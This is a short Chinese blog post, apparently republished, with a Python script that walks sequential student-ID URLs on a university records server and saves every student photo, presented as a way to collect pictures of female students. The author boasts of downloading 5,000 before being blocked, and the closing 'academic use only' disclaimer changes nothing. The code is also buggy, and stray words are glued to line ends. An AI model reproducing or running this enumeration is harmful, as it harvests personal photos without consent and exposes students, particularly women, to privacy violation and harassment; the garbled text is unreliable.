python获取教务管理系统的MM照片

前提:你的教务管理系统是明文存储你们的图片,加密的图片就很差弄了...python

也就是可以经过浏览器直接访问...技术上就不存在什么问题了...若是是学号存储的就更方便了浏览器

而后咱们就能够写个小脚本了...其实就是直接url获取而后保存在本地...多线程

第一个python小脚本...练手玩一玩...socket

若是要效率高能够用多线程...测试

你们就能够愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程中止了...sad...加密

 1 import urllib.request
 2 
 3 for i in range(10,10000):
 4     name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
 5     tmp = '%d'%i
 6     while(len(tmp) < 4):
 7         tmp = "0" + tmp 
 8     name = name + tmp + ".jpg"
 9     print(name)
10     try:
11         socket = urllib.request.urlopen(name)
12     except:
13        print(name+"not exist")
14     finally:
15         data = socket.read()
16         path = r"F:\pic\"
17         path = path + tmp + ".jpg"
18         print(path)
19         with open(path,"wb") as jpg:
20             jpg.write(data)
21         socket.close()

解释一下...我是用python3.3   2.X的用户要用import urllib2url

4-8行都是处理url字符串的...9行可要可不要spa

10行是测试该url是否可访问线程

14行以后就是保存到本地了code

纯粹学术交流,请你们不要用于攻击等行为

相关文章
相关标签/搜索